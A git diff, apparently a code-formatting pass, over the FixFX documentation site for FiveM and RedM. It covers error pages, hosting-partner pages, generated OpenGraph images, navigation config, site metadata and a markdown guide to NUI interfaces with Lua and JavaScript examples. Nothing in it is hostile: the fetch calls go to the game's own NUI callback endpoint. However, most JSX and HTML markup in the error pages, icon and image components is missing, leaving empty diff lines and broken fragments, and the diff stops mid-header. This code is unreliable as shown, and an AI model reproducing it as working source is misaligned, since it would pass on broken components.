diff --git a/app/error.tsx b/app/error.tsx index d0a3fab..a625ac3 100644 --- a/app/error.tsx +++ b/app/error.tsx @@ -1,4 +1,4 @@ -"use client" +"use client"; import { Button } from "@ui/components/button"; import { FaDiscord } from "react-icons/fa"; @@ -7,81 +7,86 @@ import { DISCORD_LINK } from "@utils/constants/link"; import Link from "next/link"; export default function Error({ - error, - reset, + error, + reset, }: { - error: Error & { digest?: string }; - reset: () => void; + error: Error & { digest?: string }; + reset: () => void; }) { - return ( -
- {/* Gradient background orbs - red themed */} -
-
+ return ( +
+ {/* Gradient background orbs - red themed */} +
+
- {/* Grid pattern */} -
+ {/* Grid pattern */} +
- {/* Main content */} -
- {/* Error icon */} -
-
- -
- {/* Decorative pulse */} -
-
- - {/* Message */} -
-

- Something went wrong -

-

- {error.message || "An unexpected error occurred. Please try again."} -

- {error.digest && ( -

- Error ID: {error.digest} -

- )} -
+ {/* Main content */} +
+ {/* Error icon */} +
+
+ +
+ {/* Decorative pulse */} +
+
- {/* Action buttons */} -
- + {/* Message */} +
+

+ Something went wrong +

+

+ {error.message || "An unexpected error occurred. Please try again."} +

+ {error.digest && ( +

+ Error ID: {error.digest} +

+ )} +
- -
+ {/* Action buttons */} +
+ - {/* Help link */} -

- Still having issues?{" "} - - - Get help on Discord - -

-
+
- ); + + {/* Help link */} +

+ Still having issues?{" "} + + + Get help on Discord + +

+
+
+ ); } diff --git a/app/github/page.tsx b/app/github/page.tsx index bf29ebe..6b569cc 100644 --- a/app/github/page.tsx +++ b/app/github/page.tsx @@ -37,7 +37,8 @@ export default function DiscordPage() { Follow us on GitHub

- You should be redirected to our GitHub automatically. If not, click the button below! + You should be redirected to our GitHub automatically. If not, click + the button below!

diff --git a/app/global-error.tsx b/app/global-error.tsx index 1c030ef..5309c8c 100644 --- a/app/global-error.tsx +++ b/app/global-error.tsx @@ -1,4 +1,4 @@ -"use client" +"use client"; import { Button } from "@ui/components/button"; import { FaDiscord } from "react-icons/fa"; @@ -6,78 +6,84 @@ import { AlertTriangle, RotateCw } from "lucide-react"; import { DISCORD_LINK } from "@utils/constants/link"; export default function GlobalError({ - error, - reset, + error, + reset, }: { - error: Error & { digest?: string }; - reset: () => void; + error: Error & { digest?: string }; + reset: () => void; }) { - return ( - - -
- {/* Animated background elements */} -
-
-
-
-
+ return ( + + +
+ {/* Animated background elements */} +
+
+
+
+
- {/* Main content */} -
- {/* Error text */} -
-

- Fatal Error -

-
-
-
+ {/* Main content */} +
+ {/* Error text */} +
+

+ Fatal Error +

+
+
+
- {/* Error icon with animation */} -
- -
-
+ {/* Error icon with animation */} +
+ +
+
- {/* Message */} -
-

- Critical Error Occurred -

-

- The application has encountered a fatal error. Please try refreshing the page or contact support if the problem persists. -

-

- {error.digest} -

-
+ {/* Message */} +
+

+ Critical Error Occurred +

+

+ The application has encountered a fatal error. Please try + refreshing the page or contact support if the problem persists. +

+

+ {error.digest} +

+
- {/* Action buttons */} -
- + {/* Action buttons */} +
+ - -
-
+ +
+
- {/* Decorative elements */} -
-
- - - ); + {/* Decorative elements */} +
+
+ + + ); } diff --git a/app/hosting/layout.tsx b/app/hosting/layout.tsx index 353a38f..6b3eca5 100644 --- a/app/hosting/layout.tsx +++ b/app/hosting/layout.tsx @@ -5,13 +5,15 @@ import { baseOptions } from "@/app/layout.config"; export const metadata: Metadata = { title: "Hosting Partners - FixFX", - description: "Explore our trusted hosting partners for your FiveM and RedM servers. Get exclusive discounts on high-performance game server hosting.", + description: + "Explore our trusted hosting partners for your FiveM and RedM servers. Get exclusive discounts on high-performance game server hosting.", alternates: { canonical: "https://fixfx.wiki/hosting", }, openGraph: { title: "Hosting Partners - FixFX", - description: "Explore our trusted hosting partners for your FiveM and RedM servers. Get exclusive discounts on high-performance game server hosting.", + description: + "Explore our trusted hosting partners for your FiveM and RedM servers. Get exclusive discounts on high-performance game server hosting.", url: "https://fixfx.wiki/hosting", type: "website", }, diff --git a/app/hosting/opengraph-image.tsx b/app/hosting/opengraph-image.tsx index aee9d41..414f517 100644 --- a/app/hosting/opengraph-image.tsx +++ b/app/hosting/opengraph-image.tsx @@ -11,159 +11,168 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orbs */} +
+
+
+ + {/* Badge */}
- {/* Background gradient orbs */} -
-
-
+
🤝
+ + Official Partners + +
- {/* Badge */} -
+ -
🤝
- - Official Partners + Hosting Partners + +
+ + {/* Subtitle */} +

+ Trusted hosting providers for your{" "} + FiveM and{" "} + RedM{" "} + servers +

+ + {/* Bottom indicators */} +
+
+
+ + Exclusive Discounts
- - {/* Main title */} -
- +
- Hosting Partners + /> + + High Performance
- - {/* Subtitle */} -

- Trusted hosting providers for your{" "} - FiveM and{" "} - RedM servers -

- - {/* Bottom indicators */} -
-
-
- Exclusive Discounts -
-
-
- High Performance -
-
-
- 24/7 Support -
+
+
+ + 24/7 Support +
- ), +
, { ...size, - } + }, ); } diff --git a/app/hosting/page.tsx b/app/hosting/page.tsx index 0cb6599..81e2470 100644 --- a/app/hosting/page.tsx +++ b/app/hosting/page.tsx @@ -49,7 +49,7 @@ export default function HostingPage() { if (data.success) { const providersData = data.providers as Provider[]; setProviders(providersData); - + // Fetch trusted hosts const trustedResponse = await fetch("/api/trusted-hosts"); const trustedData = await trustedResponse.json(); @@ -57,12 +57,16 @@ export default function HostingPage() { const trustedHosts = trustedData.hosts; const withTrust = providersData.map((provider) => ({ ...provider, - isTrusted: provider.website + isTrusted: provider.website ? trustedHosts.some((host: any) => { try { - const providerUrl = new URL(provider.website).hostname.toLowerCase(); + const providerUrl = new URL( + provider.website, + ).hostname.toLowerCase(); const hostUrl = new URL(host.url).hostname.toLowerCase(); - return providerUrl === hostUrl || providerUrl.includes(hostUrl); + return ( + providerUrl === hostUrl || providerUrl.includes(hostUrl) + ); } catch { return false; } @@ -82,17 +86,21 @@ export default function HostingPage() { fetchProviders(); }, []); - const maxDiscount = providersWithTrust.length > 0 - ? Math.max(...providersWithTrust.map(p => p.discount.percentage)) - : 20; - + const maxDiscount = + providersWithTrust.length > 0 + ? Math.max(...providersWithTrust.map((p) => p.discount.percentage)) + : 20; + // Get first provider's links for CTA (fallback to ZAP-Hosting) const firstProvider = providersWithTrust[0]; - const fivemLink = firstProvider?.links.find(l => l.label.toLowerCase().includes("fivem"))?.url - || "https://zap-hosting.com/FixFXFiveM"; - const redmLink = firstProvider?.links.find(l => l.label.toLowerCase().includes("redm"))?.url - || "https://zap-hosting.com/FixFXRedM"; - const vpsLink = "https://zap-hosting.com/a/8d785f5b626ef6617320d4bca50a4e344c464437?voucher=FixFX-a-8909"; + const fivemLink = + firstProvider?.links.find((l) => l.label.toLowerCase().includes("fivem")) + ?.url || "https://zap-hosting.com/FixFXFiveM"; + const redmLink = + firstProvider?.links.find((l) => l.label.toLowerCase().includes("redm")) + ?.url || "https://zap-hosting.com/FixFXRedM"; + const vpsLink = + "https://zap-hosting.com/a/8d785f5b626ef6617320d4bca50a4e344c464437?voucher=FixFX-a-8909"; return (
{/* Hero Section */} @@ -130,8 +138,9 @@ export default function HostingPage() { {/* Description */}

- We've partnered with the best game server hosting providers to bring you exclusive - discounts. Get your FiveM or RedM server up and running with trusted, high-performance hosting. + We've partnered with the best game server hosting providers + to bring you exclusive discounts. Get your FiveM or RedM server up + and running with trusted, high-performance hosting.

{/* Stats */} @@ -140,23 +149,33 @@ export default function HostingPage() { {loading ? (
) : ( -

{maxDiscount}%+

+

+ {maxDiscount}%+ +

)} -

Exclusive Discounts

+

+ Exclusive Discounts +

24/7

-

Support Available

+

+ Support Available +

{loading ? (
) : ( -

{providers.length}

+

+ {providers.length} +

)} -

Trusted Partners

+

+ Trusted Partners +

@@ -168,7 +187,10 @@ export default function HostingPage() { {loading ? (
{[1, 2].map((i) => ( -
+
@@ -195,10 +217,15 @@ export default function HostingPage() {
-

No Partners Yet

+

+ No Partners Yet +

We're actively looking for hosting partners.{" "} - + Learn how to become a partner

@@ -217,30 +244,38 @@ export default function HostingPage() {
-

Exclusive Discounts

+

+ Exclusive Discounts +

- Get special pricing not available anywhere else. Our partner codes provide ongoing savings - for as long as you own your server. + Get special pricing not available anywhere else. Our partner + codes provide ongoing savings for as long as you own your + server.

-

Vetted Providers

+

+ Vetted Providers +

- We only partner with hosting providers we trust and have personally tested. Quality and - reliability are our top priorities. + We only partner with hosting providers we trust and have + personally tested. Quality and reliability are our top + priorities.

-

Support FixFX

+

+ Support FixFX +

- Using our partner links helps support the continued development of FixFX and keeps our - documentation free for everyone. + Using our partner links helps support the continued development + of FixFX and keeps our documentation free for everyone.

@@ -253,7 +288,8 @@ export default function HostingPage() { {/* Bottom Text */}

- By using our partner links, you support FixFX while getting exclusive discounts. Thank you for your support! + By using our partner links, you support FixFX while getting + exclusive discounts. Thank you for your support!

@@ -274,7 +310,8 @@ export default function HostingPage() { Want to Partner with FixFX?

- We're always looking for quality hosting providers who want to offer exclusive benefits to our community. + We're always looking for quality hosting providers who + want to offer exclusive benefits to our community.

@@ -284,7 +321,9 @@ export default function HostingPage() {
-

Reach Active Community

+

+ Reach Active Community +

Connect with thousands of FiveM and RedM server owners

@@ -293,7 +332,9 @@ export default function HostingPage() {
-

Build Trust

+

+ Build Trust +

Showcase your reliability and commitment to quality

@@ -302,7 +343,9 @@ export default function HostingPage() {
-

Tracked Attribution

+

+ Tracked Attribution +

Use affiliate links to track conversions and ROI

@@ -311,7 +354,9 @@ export default function HostingPage() { {/* Guidelines Preview */}
-

Partnership Requirements

+

+ Partnership Requirements +

@@ -355,8 +400,9 @@ export default function HostingPage() { {/* Footer Note */}

- We review all partnership applications within 3-5 business days. - FixFX reserves the right to accept or decline requests at our discretion. + We review all partnership applications within 3-5 business days. + FixFX reserves the right to accept or decline requests at our + discretion.

diff --git a/app/hosting/twitter-image.tsx b/app/hosting/twitter-image.tsx index aee9d41..414f517 100644 --- a/app/hosting/twitter-image.tsx +++ b/app/hosting/twitter-image.tsx @@ -11,159 +11,168 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orbs */} +
+
+
+ + {/* Badge */}
- {/* Background gradient orbs */} -
-
-
+
🤝
+ + Official Partners + +
- {/* Badge */} -
+ -
🤝
- - Official Partners + Hosting Partners + +
+ + {/* Subtitle */} +

+ Trusted hosting providers for your{" "} + FiveM and{" "} + RedM{" "} + servers +

+ + {/* Bottom indicators */} +
+
+
+ + Exclusive Discounts
- - {/* Main title */} -
- +
- Hosting Partners + /> + + High Performance
- - {/* Subtitle */} -

- Trusted hosting providers for your{" "} - FiveM and{" "} - RedM servers -

- - {/* Bottom indicators */} -
-
-
- Exclusive Discounts -
-
-
- High Performance -
-
-
- 24/7 Support -
+
+
+ + 24/7 Support +
- ), +
, { ...size, - } + }, ); } diff --git a/app/icon.tsx b/app/icon.tsx index c76e854..278ce94 100644 --- a/app/icon.tsx +++ b/app/icon.tsx @@ -10,81 +10,83 @@ export const contentType = "image/png"; export default function Icon() { return new ImageResponse( - ( +
+ {/* Background gradient orbs */}
+
+
+ + {/* FixFX Icon */} + - {/* Background gradient orbs */} -
-
-
- {/* FixFX Icon */} - - {/* First path */} - - - {/* Second path */} - - -
- ), + {/* Second path */} + + +
, { ...size, - } + }, ); } diff --git a/app/layout.config.tsx b/app/layout.config.tsx index ea78e4f..577ef23 100644 --- a/app/layout.config.tsx +++ b/app/layout.config.tsx @@ -2,7 +2,16 @@ import type { HomeLayoutProps } from "fumadocs-ui/layouts/home"; import { GITHUB_LINK, DISCORD_LINK } from "@/packages/utils/src"; import { FixFXIcon } from "@ui/icons"; import { FaDiscord } from "react-icons/fa"; -import { Gamepad, Home, PlugZap, LogsIcon, Bot, X, Server, Palette } from "lucide-react"; +import { + Gamepad, + Home, + PlugZap, + LogsIcon, + Bot, + X, + Server, + Palette, +} from "lucide-react"; export const baseOptions: HomeLayoutProps = { disableThemeSwitch: true, @@ -32,7 +41,7 @@ export const baseOptions: HomeLayoutProps = { type: "main", text: "Home", icon: , - url: "/" + url: "/", }, { type: "menu", @@ -75,8 +84,7 @@ export const baseOptions: HomeLayoutProps = { }, icon: , text: "Core Documentation", - description: - "Some information about FixFX.", + description: "Some information about FixFX.", url: "/docs/core", }, { @@ -109,8 +117,7 @@ export const baseOptions: HomeLayoutProps = { }, icon: , text: "txAdmin Documentation", - description: - "Managing your servers with and setting up txAdmin.", + description: "Managing your servers with and setting up txAdmin.", url: "/docs/txadmin", }, { @@ -160,8 +167,7 @@ export const baseOptions: HomeLayoutProps = { }, icon: , text: "Common Guides", - description: - "Step-by-step guides for CitizenFX.", + description: "Step-by-step guides for CitizenFX.", url: "/docs/guides", }, ], @@ -175,16 +181,15 @@ export const baseOptions: HomeLayoutProps = { banner: (
-

- Fixie -

+

Fixie

- ) + ), }, icon: , text: "Chat with Fixie", - description: "Fixie is a powerful AI assistant that can help you with all your CFX needs.", - url: "/chat" + description: + "Fixie is a powerful AI assistant that can help you with all your CFX needs.", + url: "/chat", }, { menu: { @@ -195,12 +200,13 @@ export const baseOptions: HomeLayoutProps = { Natives
- ) + ), }, icon: , text: "Game Natives", - description: "Explore the natives for CFX, GTAV and RDR2 and their use cases.", - url: "/natives" + description: + "Explore the natives for CFX, GTAV and RDR2 and their use cases.", + url: "/natives", }, { menu: { @@ -211,12 +217,12 @@ export const baseOptions: HomeLayoutProps = { Artifacts
- ) + ), }, icon: , text: "Server Artifacts", description: "Explore the latest server artifacts for CFX.", - url: "/artifacts" + url: "/artifacts", }, { menu: { @@ -227,12 +233,13 @@ export const baseOptions: HomeLayoutProps = { Hosting Partners
- ) + ), }, icon: , text: "Hosting Partners", - description: "Discover trusted hosting providers with exclusive discounts for FixFX users.", - url: "/hosting" + description: + "Discover trusted hosting providers with exclusive discounts for FixFX users.", + url: "/hosting", }, { menu: { @@ -243,14 +250,15 @@ export const baseOptions: HomeLayoutProps = { Brand Assets
- ) + ), }, icon: , text: "Brand Assets", - description: "Download official FixFX logos, icons, and brand guidelines.", - url: "/brand" + description: + "Download official FixFX logos, icons, and brand guidelines.", + url: "/brand", }, - ] - } + ], + }, ], }; diff --git a/app/layout.tsx b/app/layout.tsx index 26ec605..8e81c35 100644 --- a/app/layout.tsx +++ b/app/layout.tsx @@ -19,7 +19,7 @@ export const viewport: Viewport = { export const metadata: Metadata = { metadataBase: new URL("https://fixfx.wiki"), - + /** Canonical & Alternates */ alternates: { canonical: "https://fixfx.wiki", @@ -36,7 +36,8 @@ export const metadata: Metadata = { locale: "en_US", creators: ["@CodeMeAPixel"], title: "FixFX - FiveM & RedM Documentation Hub", - description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem. Your one-stop resource for server development.", + description: + "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem. Your one-stop resource for server development.", images: [ { url: "/opengraph-image.png", @@ -51,7 +52,8 @@ export const metadata: Metadata = { card: "summary_large_image", creator: "@CodeMeAPixel", site: "@FixFXWiki", - description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", + description: + "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", images: ["/twitter-image.png"], }, /** OpenGraph */ @@ -77,7 +79,8 @@ export const metadata: Metadata = { default: "FixFX - FiveM & RedM Documentation Hub", template: "%s | FixFX", }, - description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem. Your one-stop resource for server development.", + description: + "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem. Your one-stop resource for server development.", creator: "CodeMeAPixel", publisher: "FixFX", authors: [ @@ -140,7 +143,8 @@ const websiteJsonLd = { name: "FixFX", alternateName: ["FixFX Wiki", "FixFX Documentation"], url: "https://fixfx.wiki", - description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", + description: + "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", inLanguage: "en-US", publisher: { "@type": "Organization", @@ -172,7 +176,8 @@ const organizationJsonLd = { name: "FixFX", url: "https://fixfx.wiki", logo: "https://fixfx.wiki/logo.png", - description: "Documentation hub for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", + description: + "Documentation hub for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", foundingDate: "2024", sameAs: [ "https://github.com/CodeMeAPixel/FixFX", @@ -211,7 +216,11 @@ export default function Layout({ children, }: Readonly<{ children: ReactNode }>) { return ( - + {/* JSON-LD Structured Data */} - + ``` **html/style.css** + ```css * { - margin: 0; - padding: 0; - box-sizing: border-box; + margin: 0; + padding: 0; + box-sizing: border-box; } body { - font-family: 'Arial', sans-serif; - background: transparent; - overflow: hidden; + font-family: "Arial", sans-serif; + background: transparent; + overflow: hidden; } .hidden { - display: none !important; + display: none !important; } #app { - position: absolute; - top: 0; - left: 0; - width: 100vw; - height: 100vh; - background: rgba(0, 0, 0, 0.8); - display: flex; - align-items: center; - justify-content: center; + position: absolute; + top: 0; + left: 0; + width: 100vw; + height: 100vh; + background: rgba(0, 0, 0, 0.8); + display: flex; + align-items: center; + justify-content: center; } .container { - background: #2a2a2a; - border-radius: 10px; - padding: 20px; - box-shadow: 0 4px 20px rgba(0, 0, 0, 0.5); - color: white; - text-align: center; + background: #2a2a2a; + border-radius: 10px; + padding: 20px; + box-shadow: 0 4px 20px rgba(0, 0, 0, 0.5); + color: white; + text-align: center; } button { - background: #007bff; - color: white; - border: none; - padding: 10px 20px; - border-radius: 5px; - cursor: pointer; - margin-top: 10px; + background: #007bff; + color: white; + border: none; + padding: 10px 20px; + border-radius: 5px; + cursor: pointer; + margin-top: 10px; } button:hover { - background: #0056b3; + background: #0056b3; } ``` @@ -125,15 +144,16 @@ button:hover { ### Opening and Closing NUI **client.lua** + ```lua local isUIOpen = false function OpenUI() if isUIOpen then return end - + isUIOpen = true SetNuiFocus(true, true) - + SendNUIMessage({ action = "show" }) @@ -141,10 +161,10 @@ end function CloseUI() if not isUIOpen then return end - + isUIOpen = false SetNuiFocus(false, false) - + SendNUIMessage({ action = "hide" }) @@ -165,7 +185,7 @@ end) Citizen.CreateThread(function() while true do Citizen.Wait(0) - + if isUIOpen and IsControlJustPressed(0, 322) then -- ESC key CloseUI() end @@ -176,72 +196,73 @@ end) ### JavaScript Communication **html/script.js** + ```javascript -const app = document.getElementById('app'); -const closeBtn = document.getElementById('closeBtn'); +const app = document.getElementById("app"); +const closeBtn = document.getElementById("closeBtn"); // Listen for messages from the game -window.addEventListener('message', function(event) { - const data = event.data; - - switch(data.action) { - case 'show': - showUI(data.data); - break; - case 'hide': - hideUI(); - break; - case 'update': - updateUI(data.data); - break; - } +window.addEventListener("message", function (event) { + const data = event.data; + + switch (data.action) { + case "show": + showUI(data.data); + break; + case "hide": + hideUI(); + break; + case "update": + updateUI(data.data); + break; + } }); function showUI(data = {}) { - app.classList.remove('hidden'); - document.body.style.display = 'block'; - - // Update UI with provided data - if (data) { - updateUI(data); - } + app.classList.remove("hidden"); + document.body.style.display = "block"; + + // Update UI with provided data + if (data) { + updateUI(data); + } } function hideUI() { - app.classList.add('hidden'); - document.body.style.display = 'none'; + app.classList.add("hidden"); + document.body.style.display = "none"; } function updateUI(data) { - // Update UI elements with new data - console.log('Updating UI with:', data); + // Update UI elements with new data + console.log("Updating UI with:", data); } // Close button event -closeBtn.addEventListener('click', function() { - fetch(`https://${GetParentResourceName()}/close`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({}) - }); +closeBtn.addEventListener("click", function () { + fetch(`https://${GetParentResourceName()}/close`, { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify({}), + }); }); // Helper function to get resource name function GetParentResourceName() { - return window.location.hostname; + return window.location.hostname; } // Send data back to the game function sendToGame(action, data = {}) { - fetch(`https://${GetParentResourceName()}/${action}`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify(data) - }); + fetch(`https://${GetParentResourceName()}/${action}`, { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify(data), + }); } ``` @@ -250,6 +271,7 @@ function sendToGame(action, data = {}) { ### Data Binding and Updates **client.lua** + ```lua local playerData = { name = '', @@ -262,7 +284,7 @@ function UpdatePlayerData(newData) for k, v in pairs(newData) do playerData[k] = v end - + -- Send updated data to NUI SendNUIMessage({ action = "updatePlayerData", @@ -278,79 +300,86 @@ end) ``` **html/script.js** + ```javascript let playerData = {}; -window.addEventListener('message', function(event) { - const data = event.data; - - switch(data.action) { - case 'updatePlayerData': - playerData = data.data; - updatePlayerDataDisplay(); - break; - } +window.addEventListener("message", function (event) { + const data = event.data; + + switch (data.action) { + case "updatePlayerData": + playerData = data.data; + updatePlayerDataDisplay(); + break; + } }); function updatePlayerDataDisplay() { - document.getElementById('playerName').textContent = playerData.name; - document.getElementById('playerMoney').textContent = `$${playerData.money.toLocaleString()}`; - document.getElementById('playerJob').textContent = playerData.job; - document.getElementById('playerLevel').textContent = playerData.level; + document.getElementById("playerName").textContent = playerData.name; + document.getElementById("playerMoney").textContent = + `$${playerData.money.toLocaleString()}`; + document.getElementById("playerJob").textContent = playerData.job; + document.getElementById("playerLevel").textContent = playerData.level; } ``` ### Form Handling **html/index.html** + ```html
- - - - + + + +
``` **html/script.js** + ```javascript -document.getElementById('transferForm').addEventListener('submit', function(e) { +document + .getElementById("transferForm") + .addEventListener("submit", function (e) { e.preventDefault(); - + const formData = { - amount: parseInt(document.getElementById('amount').value), - targetId: parseInt(document.getElementById('targetId').value), - reason: document.getElementById('reason').value + amount: parseInt(document.getElementById("amount").value), + targetId: parseInt(document.getElementById("targetId").value), + reason: document.getElementById("reason").value, }; - + // Validate form data if (formData.amount <= 0) { - showError('Amount must be greater than 0'); - return; + showError("Amount must be greater than 0"); + return; } - + if (formData.targetId <= 0) { - showError('Invalid target player ID'); - return; + showError("Invalid target player ID"); + return; } - + // Send to game - sendToGame('transferMoney', formData); -}); + sendToGame("transferMoney", formData); + }); function showError(message) { - // Display error message to user - const errorDiv = document.getElementById('errorMessage'); - errorDiv.textContent = message; - errorDiv.style.display = 'block'; - - setTimeout(() => { - errorDiv.style.display = 'none'; - }, 3000); + // Display error message to user + const errorDiv = document.getElementById("errorMessage"); + errorDiv.textContent = message; + errorDiv.style.display = "block"; + + setTimeout(() => { + errorDiv.style.display = "none"; + }, 3000); } ``` **client.lua** + ```lua RegisterNUICallback('transferMoney', function(data, cb) -- Validate data on client side too @@ -358,10 +387,10 @@ RegisterNUICallback('transferMoney', function(data, cb) cb({success = false, error = 'Missing required fields'}) return end - + -- Send to server for processing TriggerServerEvent('banking:transferMoney', data) - + cb({success = true}) end) ``` @@ -369,12 +398,13 @@ end) ### Real-time Updates **client.lua** + ```lua -- Update UI every second with current time Citizen.CreateThread(function() while true do Citizen.Wait(1000) - + if isUIOpen then SendNUIMessage({ action = "updateTime", @@ -401,36 +431,37 @@ end) ``` **html/script.js** + ```javascript -window.addEventListener('message', function(event) { - const data = event.data; - - switch(data.action) { - case 'updateTime': - updateTimeDisplay(data.data); - break; - case 'showNotification': - showNotification(data.data.message, data.data.type); - break; - } +window.addEventListener("message", function (event) { + const data = event.data; + + switch (data.action) { + case "updateTime": + updateTimeDisplay(data.data); + break; + case "showNotification": + showNotification(data.data.message, data.data.type); + break; + } }); function updateTimeDisplay(timeData) { - document.getElementById('currentTime').textContent = timeData.time; - document.getElementById('currentDate').textContent = timeData.date; + document.getElementById("currentTime").textContent = timeData.time; + document.getElementById("currentDate").textContent = timeData.date; } function showNotification(message, type) { - const notification = document.createElement('div'); - notification.className = `notification ${type}`; - notification.textContent = message; - - document.body.appendChild(notification); - - // Auto-remove after 3 seconds - setTimeout(() => { - notification.remove(); - }, 3000); + const notification = document.createElement("div"); + notification.className = `notification ${type}`; + notification.textContent = message; + + document.body.appendChild(notification); + + // Auto-remove after 3 seconds + setTimeout(() => { + notification.remove(); + }, 3000); } ``` @@ -439,178 +470,186 @@ function showNotification(message, type) { ### Using Vue.js **html/index.html** + ```html - - - + + + Vue NUI App - - - + + +
-
-

{{ title }}

-

Money: ${{ playerData.money }}

-

Job: {{ playerData.job }}

- -
- - -
- - -
+
+

{{ title }}

+

Money: ${{ playerData.money }}

+

Job: {{ playerData.job }}

+ +
+ + +
+ + +
- + ``` ### Using React (with CDN) **html/index.html** + ```html - - - + + + React NUI App - - + + - - - + + +
- + ``` @@ -619,108 +658,115 @@ function showNotification(message, type) { ### Smooth Animations **html/style.css** + ```css .app { - opacity: 0; - transform: scale(0.8); - transition: all 0.3s ease-in-out; + opacity: 0; + transform: scale(0.8); + transition: all 0.3s ease-in-out; } .app.visible { - opacity: 1; - transform: scale(1); + opacity: 1; + transform: scale(1); } .container { - transform: translateY(-20px); - transition: transform 0.3s ease-out; + transform: translateY(-20px); + transition: transform 0.3s ease-out; } .app.visible .container { - transform: translateY(0); + transform: translateY(0); } /* Notification animations */ .notification { - position: fixed; - top: 20px; - right: 20px; - background: #333; - color: white; - padding: 15px; - border-radius: 5px; - transform: translateX(100%); - transition: transform 0.3s ease-out; + position: fixed; + top: 20px; + right: 20px; + background: #333; + color: white; + padding: 15px; + border-radius: 5px; + transform: translateX(100%); + transition: transform 0.3s ease-out; } .notification.show { - transform: translateX(0); + transform: translateX(0); } .notification.success { - background: #28a745; + background: #28a745; } .notification.error { - background: #dc3545; + background: #dc3545; } .notification.warning { - background: #ffc107; - color: #333; + background: #ffc107; + color: #333; } ``` ### Loading States **html/script.js** + ```javascript function showLoading() { - const loading = document.createElement('div'); - loading.id = 'loading'; - loading.innerHTML = ` + const loading = document.createElement("div"); + loading.id = "loading"; + loading.innerHTML = `

Loading...

`; - document.body.appendChild(loading); + document.body.appendChild(loading); } function hideLoading() { - const loading = document.getElementById('loading'); - if (loading) { - loading.remove(); - } + const loading = document.getElementById("loading"); + if (loading) { + loading.remove(); + } } ``` **html/style.css** + ```css #loading { - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - background: rgba(0, 0, 0, 0.8); - display: flex; - flex-direction: column; - align-items: center; - justify-content: center; - color: white; + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.8); + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + color: white; } .spinner { - border: 4px solid #f3f3f3; - border-top: 4px solid #3498db; - border-radius: 50%; - width: 40px; - height: 40px; - animation: spin 1s linear infinite; + border: 4px solid #f3f3f3; + border-top: 4px solid #3498db; + border-radius: 50%; + width: 40px; + height: 40px; + animation: spin 1s linear infinite; } @keyframes spin { - 0% { transform: rotate(0deg); } - 100% { transform: rotate(360deg); } + 0% { + transform: rotate(0deg); + } + 100% { + transform: rotate(360deg); + } } ``` @@ -731,25 +777,25 @@ function hideLoading() { ```javascript // Debounce function for search inputs function debounce(func, wait) { - let timeout; - return function executedFunction(...args) { - const later = () => { - clearTimeout(timeout); - func(...args); - }; - clearTimeout(timeout); - timeout = setTimeout(later, wait); + let timeout; + return function executedFunction(...args) { + const later = () => { + clearTimeout(timeout); + func(...args); }; + clearTimeout(timeout); + timeout = setTimeout(later, wait); + }; } // Usage -const searchInput = document.getElementById('search'); +const searchInput = document.getElementById("search"); const debouncedSearch = debounce((query) => { - sendToGame('search', { query }); + sendToGame("search", { query }); }, 300); -searchInput.addEventListener('input', (e) => { - debouncedSearch(e.target.value); +searchInput.addEventListener("input", (e) => { + debouncedSearch(e.target.value); }); ``` @@ -758,23 +804,26 @@ searchInput.addEventListener('input', (e) => { ```javascript // Wrapper for fetch requests async function safePost(endpoint, data) { - try { - const response = await fetch(`https://${GetParentResourceName()}/${endpoint}`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(data) - }); - - if (!response.ok) { - throw new Error(`HTTP error! status: ${response.status}`); - } - - return await response.json(); - } catch (error) { - console.error('Request failed:', error); - showNotification('Request failed. Please try again.', 'error'); - return null; + try { + const response = await fetch( + `https://${GetParentResourceName()}/${endpoint}`, + { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(data), + }, + ); + + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); } + + return await response.json(); + } catch (error) { + console.error("Request failed:", error); + showNotification("Request failed. Please try again.", "error"); + return null; + } } ``` @@ -783,28 +832,28 @@ async function safePost(endpoint, data) { ```css /* Mobile-first responsive design */ .container { - width: 90%; - max-width: 400px; - padding: 20px; + width: 90%; + max-width: 400px; + padding: 20px; } @media (min-width: 768px) { - .container { - max-width: 600px; - padding: 30px; - } + .container { + max-width: 600px; + padding: 30px; + } } @media (min-width: 1024px) { - .container { - max-width: 800px; - padding: 40px; - } + .container { + max-width: 800px; + padding: 40px; + } } /* Scale UI based on game resolution */ html { - font-size: calc(12px + 0.5vw); + font-size: calc(12px + 0.5vw); } ``` @@ -813,25 +862,25 @@ html { ```javascript // Sanitize user input function sanitizeInput(input) { - const div = document.createElement('div'); - div.textContent = input; - return div.innerHTML; + const div = document.createElement("div"); + div.textContent = input; + return div.innerHTML; } // Validate data before sending function validateTransferData(data) { - if (typeof data.amount !== 'number' || data.amount <= 0) { - return false; - } - - if (typeof data.targetId !== 'number' || data.targetId <= 0) { - return false; - } - - if (data.reason && typeof data.reason !== 'string') { - return false; - } - - return true; + if (typeof data.amount !== "number" || data.amount <= 0) { + return false; + } + + if (typeof data.targetId !== "number" || data.targetId <= 0) { + return false; + } + + if (data.reason && typeof data.reason !== "string") { + return false; + } + + return true; } ``` diff --git 